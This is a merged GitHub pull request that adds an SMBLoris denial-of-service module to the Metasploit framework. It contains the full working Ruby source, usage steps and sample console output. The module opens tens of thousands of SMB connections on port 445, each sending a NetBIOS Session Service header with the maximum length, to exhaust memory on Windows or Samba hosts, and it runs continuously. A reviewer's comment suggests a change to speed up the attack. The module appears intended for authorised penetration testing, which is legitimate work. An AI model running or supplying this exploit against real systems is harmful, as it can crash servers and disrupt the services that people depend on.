New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
SMBLoris Denial of Service Module #8796
Merged
Merged
Changes from all commits
Commits
Show all changes
6 commits
Select commit
Hold shift + click to select a range
c9da2d5
first pass at SMBLoris DoS module
e73ffe6
tried adding supervisor model to smbloris
15cc2a9
removedthreading stuff, tried keepalives
289f032
add module documentation
67e86da
make SMBLoris run continuously as requested
901a1fd
Minor tweaks.
pbarry-r7 File filter
Filter by extension
Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,43 @@ | ||
## Vulnerable Application | ||
|
||
This module exploits a vulnerability in the NetBIOS Session Service Header for SMB. | ||
Any Windows machine with SMB Exposed, or any Linux system running Samba are vulnerable. | ||
See [the SMBLoris page](http://smbloris.com/) for details on the vulnerability. | ||
|
||
The module opens over 64,000 connections to the target service, so please make sure | ||
your system ULIMIT is set appropriately to handle it. A single host running this module | ||
can theoretically consume up to 8GB of memory on the target. | ||
|
||
## Verification Steps | ||
|
||
Example steps in this format (is also in the PR): | ||
|
||
1. Start msfconsole | ||
1. Do: `use auxiliary/dos/smb/smb_loris` | ||
1. Do: `set RHOST [IP]` | ||
1. Do: `run` | ||
1. Target should allocate increasing amounts of memory. | ||
|
||
## Scenarios | ||
|
||
### | ||
|
||
``` | ||
msf auxiliary(smb_loris) > use auxiliary/dos/smb/smb_loris | ||
msf auxiliary(smb_loris) > set RHOST 192.168.172.138 | ||
RHOST => 192.168.172.138 | ||
msf auxiliary(smb_loris) > | ||
|
||
msf auxiliary(smb_loris) > run | ||
|
||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1025 | ||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1026 | ||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1027 | ||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1028 | ||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1029 | ||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1030 | ||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1031 | ||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1032 | ||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1033 | ||
.... | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,89 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
require 'bindata' | ||
require 'ruby_smb' | ||
|
||
class MetasploitModule < Msf::Auxiliary | ||
include Msf::Exploit::Remote::Tcp | ||
include Msf::Auxiliary::Dos | ||
|
||
class NbssHeader < BinData::Record | ||
endian :little | ||
uint8 :message_type | ||
bit7 :flags | ||
bit17 :message_length | ||
end | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'SMBLoris NBSS Denial of Service', | ||
'Description' => %q{ | ||
The SMBLoris attack consumes large chunks of memory in the target by sending | ||
SMB requests with the NetBios Session Service(NBSS) Length Header value set | ||
to the maximum possible value. By keeping these connections open and initiating | ||
large numbers of these sessions, the memory does not get freed, and the server | ||
grinds to a halt. This vulnerability was originally disclosed by Sean Dillon | ||
and Zach Harding. | ||
|
||
DISCALIMER: This module opens a lot of simultaneous connections. Please check | ||
your system's ULIMIT to make sure it can handle it. This module will also run | ||
continuously until stopped. | ||
}, | ||
'Author' => | ||
[ | ||
'thelightcosine' | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => | ||
[ | ||
[ 'URL', 'http://smbloris.com/' ] | ||
], | ||
'DisclosureDate' => 'Jul 29 2017' | ||
)) | ||
|
||
register_options( | ||
[ | ||
Opt::RPORT(445) | ||
]) | ||
end | ||
|
||
def run | ||
header = NbssHeader.new | ||
header.message_length = 0x01FFFF | ||
|
||
linger = Socket::Option.linger(true, 60) | ||
|
||
while true do | ||
sockets = {} | ||
(1025..65535).each do |src_port| | ||
print_status "Sending packet from Source Port: #{src_port}" | ||
opts = { | ||
'CPORT' => src_port, | ||
'ConnectTimeout' => 360 | ||
} | ||
|
||
if sockets[src_port] | ||
disconnect(sockets[src_port]) | ||
end | ||
|
||
begin | ||
nsock = connect(false, opts) | ||
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true) | ||
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5)) | ||
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10)) | ||
nsock.setsockopt(linger) | ||
nsock.write(header.to_binary_s) | ||
sockets[src_port] = nsock | ||
rescue ::Exception => e | ||
print_error "Exception sending packet: #{e.message}" | ||
end | ||
end | ||
end | ||
|
||
|
||
end | ||
|
||
end |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Recommend changing to vprint_status, because shell I/O increases time for the attack.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Good point, @zerosum0x0. I believe there's also a couple of other tweaks we're considering, landing this for now (due to popular demand).